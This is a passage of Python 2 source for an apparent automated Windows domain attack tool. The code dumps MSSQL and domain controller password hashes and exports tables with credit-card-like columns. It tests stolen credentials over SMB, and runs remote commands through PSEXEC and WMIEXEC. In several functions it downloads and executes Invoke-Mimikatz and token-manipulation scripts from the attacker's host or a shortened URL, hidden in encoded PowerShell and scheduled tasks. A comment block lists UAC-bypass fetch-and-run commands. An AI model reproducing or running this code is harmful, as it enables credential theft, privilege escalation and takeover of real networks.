subKey = '\\'.join(keyName.split('\\')[1:])
except Exception:
raise Exception('Error parsing keyName %s' % keyName)
if rootKey.upper() == 'HKLM':
ans = rrp.hOpenLocalMachine(dce)
elif rootKey.upper() == 'HKU' or rootKey.upper() == 'HKCU':
ans = rrp.hOpenCurrentUser(dce)
elif rootKey.upper() == 'HKCR':
ans = rrp.hOpenClassesRoot(dce)
else:
raise Exception('Invalid root key %s ' % rootKey)
hRootKey = ans['phKey']
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=rrp.MAXIMUM_ALLOWED
| rrp.KEY_ENUMERATE_SUB_KEYS
| rrp.KEY_QUERY_VALUE)
if len(selectedKey) > 0:
value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'],
str(selectedKey))
return str(value[1])
else:
# print '\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])
# elif self.__options.ve:
# print keyName
# value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '')
# print '\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])
# elif self.__selectedKey==None:
entriesList = self.__print_all_entries(dce, subKey + '\\',
ans2['phkResult'], 0)
return entriesList
# self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0)
# else:
# print "selectedKey"
# print selectedKey
# self.__print_key_values(dce, ans2['phkResult'])
# i = 0
# while True:
# try:
# key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
# print selectedKey + '\\' + key['lpNameOut'][:-1]
# i += 1
# except Exception:
# break
def __print_key_values(self, rpc, keyHandler):
i = 0
resultList = []
while True:
try:
ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i)
lp_value_name = (ans4['lpValueNameOut'])[:-1]
if len(lp_value_name) == 0:
lp_value_name = '(Default)'
lp_type = ans4['lpType']
lp_data = ''.join(ans4['lpData'])
# here1
print '\t' + lp_value_name + '\t' \
+ self.__regValues.get(lp_type, 'KEY_NOT_FOUND') \
+ '\t',
# print lp_value_name+"\t"+self.__regValues.get(lp_type, 'KEY_NOT_FOUND')
# resultList.append('\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t',)
self.__parse_lp_data(lp_type, lp_data)
i += 1
except rrp.DCERPCSessionError, e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
return resultList
def __print_all_entries(
self,
rpc,
keyName,
keyHandler,
index,
):
index = 0
resultList = []
while True:
try:
subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)
index += 1
ans = rrp.hBaseRegOpenKey(rpc, keyHandler,
subkey['lpNameOut'],
samDesired=rrp.MAXIMUM_ALLOWED
| rrp.KEY_ENUMERATE_SUB_KEYS)
newKeyName = keyName + (subkey['lpNameOut'])[:-1] + '\\'
# print newKeyName
resultList.append((subkey['lpNameOut'])[:-1])
except rrp.DCERPCSessionError, e:
# self.__print_key_values(rpc, ans['phkResult'])
# self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0)
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except rpcrt.DCERPCException, e:
if str(e).find('access_denied') >= 0:
logging.error('Cannot access subkey %s, bypassing it'
% (subkey['lpNameOut'])[:-1])
continue
elif str(e).find('rpc_x_bad_stub_data') >= 0:
logging.error('Fault call, cannot retrieve value for %s, bypassing it'
% (subkey['lpNameOut'])[:-1])
return
raise
return resultList
def __print_all_subkeys_and_entries(
self,
rpc,
keyName,
keyHandler,
index,
):
index = 0
while True:
try:
subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)
index += 1
ans = rrp.hBaseRegOpenKey(rpc, keyHandler,
subkey['lpNameOut'],
samDesired=rrp.MAXIMUM_ALLOWED
| rrp.KEY_ENUMERATE_SUB_KEYS)
newKeyName = keyName + (subkey['lpNameOut'])[:-1] + '\\'
# print newKeyName
self.__print_key_values(rpc, ans['phkResult'])
self.__print_all_subkeys_and_entries(rpc, newKeyName,
ans['phkResult'], 0)
except rrp.DCERPCSessionError, e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except rpcrt.DCERPCException, e:
if str(e).find('access_denied') >= 0:
logging.error('Cannot access subkey %s, bypassing it'
% (subkey['lpNameOut'])[:-1])
continue
elif str(e).find('rpc_x_bad_stub_data') >= 0:
logging.error('Fault call, cannot retrieve value for %s, bypassing it'
% (subkey['lpNameOut'])[:-1])
return
raise
@staticmethod
def __parse_lp_data(valueType, valueData):
try:
if valueType == rrp.REG_SZ or valueType \
== rrp.REG_EXPAND_SZ:
if type(valueData) is int:
print 'NULL'
else:
print '%s' % valueData.decode('utf-16le')[:-1]
elif valueType == rrp.REG_BINARY:
print ''
hexdump(valueData, '\t')
elif valueType == rrp.REG_DWORD:
print '0x%x' % unpack('<L', valueData)[0]
elif valueType == rrp.REG_QWORD:
print '0x%x' % unpack('<Q', valueData)[0]
elif valueType == rrp.REG_NONE:
try:
if len(valueData) > 1:
print ''
hexdump(valueData, '\t')
else:
print ' NULL'
except:
print ' NULL'
elif valueType == rrp.REG_MULTI_SZ:
print '%s' % valueData.decode('utf-16le')[:-2]
else:
print 'Unkown Type 0x%x!' % valueType
hexdump(valueData)
except Exception, e:
logging.debug('Exception thrown when printing reg value %s'
, str(e))
print 'Invalid data'
pass
#MSSQL Test
def getNetBiosName(ip):
n = NetBIOS(broadcast=True, listen_port=0)
netbiosName=''
try:
netbiosName=n.queryIPForName(ip)[0]
except Exception as e:
pass
return netbiosName
def listDatabases(db,conn):
sql_query='USE master; SELECT NAME FROM sysdatabases;'
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
dbList=[]
defaultDBList=[]
defaultDBList.append('master')
defaultDBList.append('tempdb')
defaultDBList.append('model')
defaultDBList.append('msdb')
for x in results:
for k, v in x.iteritems():
if v not in defaultDBList:
dbList.append(v)
return dbList
def listTables(db,conn,dbName):
sql_query='SELECT * FROM '+dbName+'.INFORMATION_SCHEMA.TABLES;'
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
tableList=[]
for x in results:
if x.values()[3]=='BASE TABLE':
tableList.append([x.values()[0],x.values()[2]])
return tableList
#print tabulate(tableList)
def listColumns(db,conn,dbName,tableName):
sql_query='use '+dbName+';exec sp_columns '+tableName+';'
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
columnList=[]
for x in results:
columnName=x.values()[-1]
columnList.append([dbName,tableName,columnName])
return columnList
#print tabulate(results)
def sampleData(db,conn,dbName,tableName):
sql_query='use '+dbName+';select * from '+tableName+';'
#sql_query='use '+dbName+';select TOP(10) * from '+tableName+';'
try:
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
return results
#print tabulate(results)
except Exception as e:
print e
#print tabulate(results)
def dumpSQLHashes(db,conn,pre2008=True):
#sql_query='USE master; select @@version'
resultList=[]
if pre2008==False:
sql_query='SELECT name,password_hash FROM sys.sql_logins;'
print sql_query
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
for x in results:
print x.values()
resultList.append(x.values)
else:
sql_query='SELECT password from master.dbo.sysxlogins;'
print sql_query
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
for x in results:
print x.values()
resultList.append(x.values)
return resultList
def getSQLVersion(db,conn):
sql_query='USE master; select @@version'
print sql_query
results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True)
return results[0].values()
def testMSSQL(host,port,user,password,password_hash=None,domain=None,domainCred=True):
searchList=[]
searchList.append('passw')
searchList.append('credit')
searchList.append('card')
fp = tds.MSSQL(host, int(port))
fp.connect()
foundList=[]
try:
r = fp.login(None, user, password, domain, password_hash, domainCred)
key = fp.replies[TDS_LOGINACK_TOKEN][0]
dbVer=getSQLVersion(db,fp)
print dbVer
if "2008" in dbVer or "2012" in dbVer:
print dumpSQLHashes(db,fp,True)
else:
print dumpSQLHashes(db,fp,False)
#listDatabases(db,fp)
dbName='mmsdata1'
tableList=listTables(db,fp,dbName)
for x in tableList:
tableName=x[1]
results = (listColumns(db,fp,dbName,tableName))
for y in results:
columnName = y[2]
for word in searchList:
if word in columnName.lower():
if [y[0],y[1]] not in foundList:
foundList.append([y[0],y[1]])
except Exception as e:
print e
fp.disconnect()
fp = tds.MSSQL(host, int(port))
fp.connect()
r = fp.login(None, user, password, domain, password_hash, domainCred)
key = fp.replies[TDS_LOGINACK_TOKEN][0]
for x in foundList:
dbName=str(x[0])
tableName=str(x[1])
columnList=[]
results=(listColumns(db,fp,dbName,tableName))
for y in results:
columnList.append(y[2])
results=sampleData(db,fp,dbName,tableName)
try:
if len(results)>0:
with open(dbName+"_"+tableName+".csv", "wb+") as f:
writer = csv.writer(f)
writer.writerow(columnList)
for y in results:
writer.writerow(y.values())
except Exception as e:
continue
#MSSQL Test
def testAdminAccess(tmphostno, tmpdomain, tmpusername, tmppassword, tmppasswordHash):
'''
resultList=results.split("\n")
try:
conn = SMBConnection1(username,password,client_machine_name,hostNo,domain=domain,use_ntlm_v2=True,is_direct_tcp=True)
connected = conn.connect(hostNo, 445)
shares = conn.listShares()
shareName="C$"
sharedfiles = conn.listPath(shareName, '/')
if len(sharedfiles)>0:
return True
else:
return False
except Exception as e:
return False
'''
command="ipconfig.exe"
results=runPSEXEC(tmphostno, tmpdomain, tmpusername, tmppassword, tmppasswordHash, command)
if len(results)>0 and type(results)!=None:
return True
else:
return False
def testDomainCredentials(username,password,passwordHash,ip,domain):
foundAdmin=False
if [str(ip),str(domain).lower(),str(username),str(password)] in attemptedCredList:
print (setColor("[-]", bold, color="red"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+password+" [FAILED]"
return False,foundAdmin
else:
if password!=None:
attemptedCredList.append([str(ip),str(domain).lower(),str(username),str(password)])
else:
attemptedCredList.append([str(ip),str(domain).lower(),str(username),str(passwordHash)])
if passwordHash!=None:
password=None
if testAdminAccess(ip, domain, username, password, passwordHash)==True:
foundAdmin=True
if domain=='':
domain="WORKGROUP"
print (setColor("[+]", bold, color="green"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+passwordHash+" [OK][ADMIN]"
return True,foundAdmin
else:
if len(domain.strip())<1:
domain="WORKGROUP"
print (setColor("[-]", bold, color="red"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+passwordHash+" [FAILED]"
return False,foundAdmin
else:
try:
command="medusa -M smbnt -u "+domain+"\\\\"+username+" -p '"+password+"' -h "+ip
resultList = runCommand(command, shell = True, timeout = 30)
if "SUCCESS" in str(resultList):
if testAdminAccess(ip, domain, username, password, passwordHash)==True:
print (setColor("[+]", bold, color="green"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+password+" [OK][ADMIN]"
foundAdmin=True
tmpfound=False
for x in accessAdmHostList:
tmpip=x[0]
if tmpip==ip:
tmpfound=True
if tmpfound==False:
if len(domain)<1:
domain="WORKGROUP"
if [ip, domain, username, password] not in accessAdmHostList:
accessAdmHostList.append([ip, domain, username, password])
'''
tmphash=None
tmpPasswordList=runMimikatz(ip,domain,username,password,tmphash)
for z in tmpPasswordList:
if z not in userPassList:
userPassList.append(z)
print (setColor("\n[+]", bold, color="green"))+" Dumping Hashes from Host: "+ip
tmpHashList=dumpDCHashes(ip,domain,username,password)
if len(tmpHashList)>0:
addHashes(tmpHashList)
if ip in uncompromisedHostList:
uncompromisedHostList.remove(ip)
analyzeHashes(tmpHashList)
if ip in uncompromisedHostList:
uncompromisedHostList.remove(ip)
'''
else:
print (setColor("[+]", bold, color="green"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+password+" [OK]"
if [ip, domain, username, password] not in accessOKHostList:
accessOKHostList.append([ip, domain, username, password])
return True,foundAdmin
else:
print (setColor("[-]", bold, color="red"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+password+" [FAILED]"
return False,foundAdmin
except Exception as e:
print (setColor("[-]", bold, color="red"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+password+" [FAILED]"
return False,foundAdmin
def testDomainCredentials1(username,password,hostNo):
ansi_escape = re.compile(r'\x1b[^m]*m')
password = ansi_escape.sub('', password)
cmd = "rpcclient -U "+username+"%'"+password+"' "+hostNo+" -c 'enumdomgroups'"
resultList = runCommand(cmd, shell = True, timeout = 30)
if "group:" in str(resultList):
return True
else:
return False
def getDomainAdminUsers(username,password,hostNo):
results=False
userList1=[]
cmd = "rpcclient -U "+username+"%'"+password+"' "+hostNo+" -c 'enumdomusers'"
resultList = runCommand(cmd, shell = True, timeout = 15)
list1 = resultList[1].split("\n")
for x in list1:
try:
domainUser = (x.split("] rid:[")[0]).replace("user:[","")
userRID = (x.split("] rid:[")[1])[0:len(x.split("] rid:[")[1])-1]
userList1.append([domainUser,userRID])
except IndexError:
continue
cmd = "rpcclient -U "+username+"%'"+password+"' "+hostNo+" -c 'enumdomgroups' | grep -i 'Domain Admin' | awk -F'rid:' '{print $2}' | sed 's:^.\(.*\).$:\\1:'"
resultList = runCommand(cmd, shell = True, timeout = 15)
groupID = (resultList[1]).strip()
cmd = "rpcclient -U "+username+"%'"+password+"' "+hostNo+" -c 'querygroupmem "+groupID+"' | awk -F']' '{print $1}' | awk -F'[' '{print $2}'"
unFoundList=[]
resultList = runCommand(cmd, shell = True, timeout = 15)
list1 = resultList[1].split("\n")
for x in list1:
found=False
for y in userList1:
if x==y[1]:
found=True
domainAdminList.append(y[0].lower())
if found==False and len(x)>0:
unFoundList.append(x)
for x in unFoundList:
cmd = "/opt/local/bin/rpcclient -U "+username+"%"+password+" "+ip+" -c 'querygroupmem "+x+"' | awk -F']' '{print $1}' | awk -F'[' '{print $2}'"
resultList = runCommand(cmd, shell = True, timeout = 15)
list1 = resultList[1].split("\n")
for x in list1:
for y in userList1:
if x==y[1]:
if y[0].lower() not in domainAdminList:
domainAdminList.append(y[0].lower())
if len(domainAdminList)>0:
print (setColor("\nEnumerating Users in Domain", bold, color="green"))
for x in domainAdminList:
print x
print "\n"
if len(domainAdminList)>0:
if username.lower() in domainAdminList:
print "[+] Is '"+username+"' in the Domain Admin group?: "+(setColor("Yes", bold, color="red"))
results=True
else:
print "[+] Is '"+username+"' in the Domain Admin group?: "+(setColor("No", bold, color="red"))
#for x in userList1:
# print x[0]
return results
def runPSEXEC(targetIP,domain,username,password,passwordHash,command):
resultsOutput=''
try:
executer = PSEXEC(command,None,None,None,int(445),username,password,domain,passwordHash,None,False,None)
executer.run(targetIP,targetIP)
resultsOutput=executer.getOutput()
executer.clearOutput()
return resultsOutput
except Exception as e:
pass
#print e
def runWMIEXEC(targetIP,domain,username,password,passwordHash,command):
resultsOutput=''
#hashes = passwordHash
#passwordHash=None
#hashes = None
aesKey = None
share = 'ADMIN$'
nooutput = False
k = False
dc_ip = None
executer = WMIEXEC(command,username,password,domain,passwordHash,aesKey,share,nooutput,k,dc_ip)
executer.run(targetIP)
resultsOutput=executer.getOutput()
return resultsOutput
def setDemo():
cmd ='date +%Y%m%d -s "20120418"'
runCommand1(cmd)
def checkCurrentTime():
currentTime=runCommand1("date")
return currentTime
def checkRemoteTime(targetIP):
remoteTime=runCommand1("net time -S "+targetIP)
return remoteTime
def get_process_children(pid):
p = Popen('ps --no-headers -o pid --ppid %d' % pid, shell = True,
stdout = PIPE, stderr = PIPE)
stdout, stderr = p.communicate()
return [int(p) for p in stdout.split()]
def runCommand(args, cwd = None, shell = False, kill_tree = True, timeout = -1, env = None):
class Alarm(Exception):
pass
def alarm_handler(signum, frame):
raise Alarm
p = Popen(args, shell = shell, cwd = cwd, stdout = PIPE, stderr = PIPE, env = env)
if timeout != -1:
signal(SIGALRM, alarm_handler)
alarm(timeout)
try:
stdout, stderr = p.communicate()
if timeout != -1:
alarm(0)
except Alarm:
pids = [p.pid]
if kill_tree:
pids.extend(get_process_children(p.pid))
for pid in pids:
# process might have died before getting to this line
# so wrap to avoid OSError: no such process
try:
kill(pid, SIGKILL)
except OSError:
pass
return -9, '', ''
return p.returncode, stdout, stderr
def runCommand1(fullCmd):
try:
return commands.getoutput(fullCmd)
except Exception as e:
print e
return "Error executing command %s" %(fullCmd)
def setColor(message, bold=False, color=None, onColor=None):
retVal = colored(message, color=color, on_color=onColor, attrs=("bold",))
return retVal
def convertWinToLinux(filename):
tmpFilename="/tmp/"+generateRandomStr()+".txt"
sourceEncoding = "utf-16"
targetEncoding = "utf-8"
source = open(filename)
target = open(tmpFilename, "w")
target.write(unicode(source.read(), sourceEncoding).encode(targetEncoding))
return tmpFilename
def parseMimikatzOutput(list1):
tmpPasswordList=[]
username1=""
domain1=""
password1=""
lmHash=""
ntHash=""
list2=list1.split("\n")
for x in list2:
if "Username :" in x or "Domain :" in x or "Password :" in x or "LM :" in x or "NTLM :" in x:
if "* Username :" in x:
username1=(x.replace("* Username :","")).strip()
if "* Domain :" in x:
domain1=(x.replace("* Domain :","")).strip()
if "* LM :" in x:
lmHash=(x.replace("* LM :","")).strip()
if "* NTLM :" in x:
ntHash=(x.replace("* NTLM :","")).strip()
if len(lmHash)<1:
lmHash='aad3b435b51404eeaad3b435b51404ee'
password1=lmHash+":"+ntHash
if "* Password :" in x:
password1=x.replace("* Password :","")
domain1=domain1.strip()
username1=username1.strip()
password1=password1.strip()
if len(username1)>1 and len(domain1)>1 and len(password1)>1:
#if (domain1!="(null)" or username1!="(null)" or password1!="(null)"):
if domain1!="(null)":
if not username1.endswith("$") and len(password1)<50:
if "\\" in username1:
domain1=username1.split("\\")[0]
username1=username1.split("\\")[1]
if len(password1)>0 and password1!='(null)':
if [domain1,username1,password1] not in tmpPasswordList:
tmpPasswordList.append([str(domain1),str(username1),str(password1)])
username1=""
domain1=""
password1=""
lmHash=""
ntHash=""
if len(tmpPasswordList)>0:
print (setColor("[+]", bold, color="green"))+" Found the below credentials via Mimikatz"
headers = ["Domain","Username","Password"]
print tabulate(tmpPasswordList,headers,tablefmt="simple")
return tmpPasswordList
def analyzeHashes(hashList):
print (setColor("\n[+]", bold, color="green"))+" Analyzing Hashes for Patterns"
#Blank 31d6cfe0d16ae931b73c59d7e0c089c0
#NoLM aad3b435b51404eeaad3b435b51404ee
tmpBlankHashList=[]
tmpHashList={}
for x in hashList:
if "31d6cfe0d16ae931b73c59d7e0c089c0" in x:
if x not in tmpBlankHashList:
tmpBlankHashList.append(x)
username=x.split(":")[0]
uid=x.split(":")[1]
tmpHash=x.split(":")[2]+":"+x.split(":")[3]
if tmpHash not in tmpHashList:
tmpHashList[tmpHash]=username
else:
tmpStr = tmpHashList[tmpHash]
tmpStr += ", "+username
tmpHashList[tmpHash]=tmpStr
tmpResultList=[]
for key, value in tmpHashList.iteritems():
tmpResultList.append([key,value])
if len(tmpResultList):
print "Password Hashes Used By the Below Accounts"
#print (setColor("\nAccounts Using Same Password", bold, color="red"))
print tabulate(tmpResultList)
if len(tmpBlankHashList):
print "\nAccounts Using BLANK Password"
#print (setColor("\nAccounts Using Blank Password", bold, color="red"))
for x in tmpBlankHashList:
print x
def dumpDCHashes(tmphostno,tmpdomain,tmpusername,tmppassword):
#print (setColor("\n[+]", bold, color="green"))+" Dumping Hashes from Domain Controller"
#domain=''
#tmpdomain=getNetBiosName(tmphostno)
#tmpdomain='corp'
dumper1 = DumpSecrets(tmphostno, tmpusername, tmppassword, tmpdomain)
dumper1.dump()
lines=[]
time.sleep(10)
tmpLines1=[]
if os.path.exists('secrets.ntds'):
with open('secrets.ntds') as f:
lines = f.read().splitlines()
for x in lines:
if not (x.split(":")[0]).endswith("$"):
if x not in tmpLines1:
tmpLines1.append(x)
if len(tmpLines1)>0:
if len(tmpdomain)<1:
tmpdomain="WORKGROUP"
if [tmphostno, tmpdomain, tmpusername, tmppassword] not in accessAdmHostList:
accessAdmHostList.append([tmphostno, tmpdomain, tmpusername, tmppassword])
print (setColor("\n[+]", bold, color="green"))+" List of Valid Hashes"
for x in tmpLines1:
print x
if os.path.exists('secrets.ntds'):
os.remove('secrets.ntds')
if os.path.exists('secrets.sam'):
with open('secrets.sam') as f:
lines = f.read().splitlines()
for x in lines:
if not (x.split(":")[0]).endswith("$"):
if x not in tmpLines1:
tmpLines1.append(x)
if len(tmpLines1)>0:
if len(tmpdomain)<1:
tmpdomain="WORKGROUP"
if [tmphostno, tmpdomain, tmpusername, tmppassword] not in accessAdmHostList:
accessAdmHostList.append([tmphostno, tmpdomain, tmpusername, tmppassword])
print (setColor("\n[+]", bold, color="green"))+" List of Valid Hashes"
for x in tmpLines1:
print x
if os.path.exists('secrets.sam'):
os.remove('secrets.sam')
return tmpLines1
def runMimikatz(targetIP,domain,username,password,passwordHash):
print "\n[*] Dumping Credentials via Mimikatz on Host: "+targetIP
osArch64=getPowershellVersion(targetIP,domain,username,password,passwordHash)
powershellPath=getPowershellPath(osArch64)
powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
command=powershellPath+" "+powershellArgs+" IEX (New-Object Net.WebClient).DownloadString(\'http://"+myIP+":8000/Invoke-Mimikatz.ps1\'); Invoke-Mimikatz -DumpCreds"
if verbose==True:
print command
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
tmpPasswordList=parseMimikatzOutput(results)
if len(tmpPasswordList)>0:
addPasswords(tmpPasswordList)
if password==None:
if len(domain)<1:
domain="WORKGROUP"
if password!=None:
if [targetIP, domain, username, password] not in accessAdmHostList:
accessAdmHostList.append([ip, str(domain), str(username), str(password)])
else:
if len(domain)<1:
domain="WORKGROUP"
if password!=None:
if [targetIP, domain, username, password] not in accessAdmHostList:
accessAdmHostList.append([ip, str(domain), str(username), str(password)])
return tmpPasswordList
def get_ip_address():
command="ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\\2/p'"
results = runCommand(command, shell = True, timeout = 15)
resultList=results[1].split("\n")
return resultList[0]
def reverseLookup(ip):
domainShort=''
domainFull=''
domain=""
command="nmap --script smb-os-discovery.nse -p445 "+ip
results = runCommand(command, shell = True, timeout = 15)
resultList=results[1].split("\n")
for x in resultList:
if "| Domain name: " in x:
x=x.replace("| Domain name: ","")
domain=x
domainFull=domain
if domain.count(".")>1:
domain=domain.split(".")[0]
domainShort=domain
return domainShort,domainFull
def powershell_encode(data):
# blank command will store our fixed unicode variable
blank_command = ""
powershell_command = ""
# Remove weird chars that could have been added by ISE
n = re.compile(u'(\xef|\xbb|\xbf)')
# loop through each character and insert null byte
for char in (n.sub("", data)):
# insert the nullbyte
blank_command += char + "\x00"
# assign powershell command as the new one
powershell_command = blank_command
# base64 encode the powershell command
powershell_command = base64.b64encode(powershell_command)
return powershell_command
def uploadFile(remoteFilename,localFilename,targetIP, domain, username, password, passwordHash):
command = "powershell.exe -Command (New-Object System.Net.WebClient).DownloadFile('http://"+myIP+":8000/"+remoteFilename+"', ‘C:\\windows\\temp\\"+localFilename+"')"
runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
def getPowershellPath(osArch64):
cmd=""
if osArch64==True:
cmd="C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"
else:
cmd="C:\\windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
return cmd
def getPowershellVersion(targetIP,domain,username,password,passwordHash):
command='powershell -Command $Env:PROCESSOR_ARCHITECTURE'
try:
results=runWMIEXEC(targetIP, domain, username, password, passwordHash,command)
if "AMD64" in results:
return True
else :
return False
except:
return True
def checkUAC(targetIP,domain,username,password,passwordHash):
osArch64=True
osArch64=getPowershellVersion(targetIP,domain,username,password,passwordHash)
powershellPath=getPowershellPath(osArch64)
powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
command=powershellPath+" "+powershellArgs+"(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA"
results=runWMIEXEC(targetIP, domain, username, password, passwordHash,command)
if verbose==True:
print command
if str(results).strip()=="1":
return True
else:
return False
def bypassUAC(targetIP,domain,username,password,passwordHash):
'''
/pentest/powershell/PowerShell-Suite/Bypass-UAC/Yamabiko/Yamabiko
powershell "IEX (New-Object Net.WebClient).DownloadString('http://172.16.126.1:8000/Bypass-UAC.ps1'); Bypass-UAC -Method UacMethodSysprep"
powershell "IEX (New-Object Net.WebClient).DownloadString('http://172.16.126.1:8000/Bypass-UAC.ps1'); Bypass-UAC -Method ucmDismMethod"
powershell "IEX (New-Object Net.WebClient).DownloadString('http://172.16.126.1:8000/Bypass-UAC.ps1'); Bypass-UAC -Method UacMethodMMC2"
powershell "IEX (New-Object Net.WebClient).DownloadString('http://172.16.126.1:8000/Bypass-UAC.ps1'); Bypass-UAC -Method UacMethodTcmsetup"
powershell "IEX (New-Object Net.WebClient).DownloadString('http://172.16.126.1:8000/Bypass-UAC.ps1'); Bypass-UAC -Method UacMethodNetOle32"
'''
return True
def tokensPriv(targetIP,domain,username,password,passwordHash):
osArch64=True
osArch64=getPowershellVersion(targetIP,domain,username,password,passwordHash)
powershellPath=getPowershellPath(osArch64)
powershellArgs=' -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass '
foundUser=''
dcNetbiosName=''
tmpSchedName=generateRandomStr()
tmpFilename=generateRandomStr()+".bat"
mimikatzOutputFilename=generateRandomStr()
psTmpFilename=(generateRandomStr())+".ps1"
if len(dcList)>0:
dcNetbiosName=getNetBiosName(dcList[0])
command=powershellPath+" "+powershellArgs+" IEX (New-Object Net.WebClient).DownloadString(\'http://"+myIP+":8000/Invoke-TokenManipulation.ps1\'); Invoke-TokenManipulation"
results=runWMIEXEC(targetIP, domain, username, password, passwordHash,command)
if verbose==True:
print command
resultList=results.split("\n")
tmpTokenList=[]
tmpdomain=""
tmpusername=""
for x in resultList:
if "Domain : " in x:
x=x.replace("Domain : ","")
tmpdomain=x.strip()
if "Username : " in x:
x=x.replace("Username : ","")
tmpusername=x.strip()
tmpdomain=tmpdomain.strip()
tmpusername=tmpusername.strip()
if len(tmpdomain)>0 and len(tmpusername)>0:
tmpTokenList.append([tmpdomain,tmpusername])
tmpdomain=""
tmpusername=""
dcDomainNameList=[]
if len(dcList)>0:
isDA=getDomainAdminUsers(username,password,dcList[0])
dcDomainNameList=reverseLookup(dcList[0])
print dcDomainNameList
if len(tmpTokenList)>0:
print (setColor("[+]", bold, color="green"))+" List of Tokens on host: "+targetIP
headers = ["Domain","Username"]
tmpPasswordList=[]
#print (setColor("\nImpersonate Tokens on Host: "+targetIP, bold, color="red"))
print tabulate(tmpTokenList,headers,tablefmt="simple")
print "\n"
for x in tmpTokenList:
tmpDomain=(x[0]).lower()
tmpUsername=x[1]
if len(tmpUsername)>0:
if tmpUsername.lower() in domainAdminList and tmpDomain in dcDomainNameList:
foundUser = tmpDomain+"\\"+tmpUsername
print (setColor("[+]", bold, color="green"))+" Found Domain Admin Token: '"+foundUser+"'"
print "[*] Checking Currently Logged On Users on Host: "+targetIP
command=' -Command "Get-WMIObject -class Win32_ComputerSystem | select username"'
command=powershellPath+" "+powershellArgs+command
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
tmpResultList=results.split("\n")
foundStart=False
loggedInUsersList=[]
for x in tmpResultList:
x=x.strip()
if len(x)>0:
if foundStart==True:
if x not in loggedInUsersList:
loggedInUsersList.append(x)
print x
if '--------' in x:
foundStart=True
print "[*] Checking if UAC is Enabled on Host "+targetIP
tmpUACMode=checkUAC(targetIP,domain,username,password,passwordHash)
if tmpUACMode==False:
print "[*] UAC is Disabled on Host: "+targetIP
print "[*] Attempting to Elevate Privileges Using Token: '"+foundUser+"'"
s='IEX (New-Object Net.WebClient).DownloadString(\'http://'+myIP+':8000/Invoke-TokenManipulation.ps1\');Invoke-TokenManipulation -CreateProcess "'+powershellPath+'" -Username '+foundUser+' -ProcessArgs "-windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta IEX (New-Object Net.WebClient).DownloadString(\'http://is.gd/oeoFuI\');Invoke-Mimikatz -DumpCreds -ComputerName '+dcNetbiosName+' | Out-File C:\\windows\\temp\\'+mimikatzOutputFilename+'.txt"'''
encodedPS=powershell_encode(s)
cmd = powershellPath+" -windowstyle hidden -NoProfile -NoLogo -NonInteractive -Sta -ep bypass -ec "+encodedPS
target = open(tmpFilename, 'w')
target.write(cmd)
target.close()
uploadFile(tmpFilename,tmpFilename,targetIP, domain, username, password, passwordHash)
command='schtasks.exe /Delete /TN '+tmpSchedName+' /f'
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
command='schtasks.exe /Create /RL HIGHEST /RU '+domain+'\\'+username+' /TN '+tmpSchedName+' /SC MONTHLY /M DEC /TR "'"C:\\windows\\temp\\"+tmpFilename
results=runPSEXEC(targetIP, domain, username, password, passwordHash, command)
print "[*] Running Tasks on Host: "+targetIP
command='schtasks /Run /TN '+tmpSchedName
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
checkComplete=False
while checkComplete==False:
command='schtasks /Query /TN '+tmpSchedName
results=runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
tmpResultList=results.split("\n")
for x in tmpResultList:
if tmpSchedName in x:
if "Ready" in x or "Running" in x:
if "Ready" in x:
print "[*] Removing Tasks from Host: "+targetIP
command='schtasks.exe /Delete /TN '+tmpSchedName+' /f'
runWMIEXEC(targetIP, domain, username, password, passwordHash, command)
checkComplete=True
if "Running" in x:
time.sleep(10)
print "[*] Attempting to Run Mimikatz on Domain Controller: "+dcList[0]
waitForPSComplete=False
while waitForPSComplete==False:
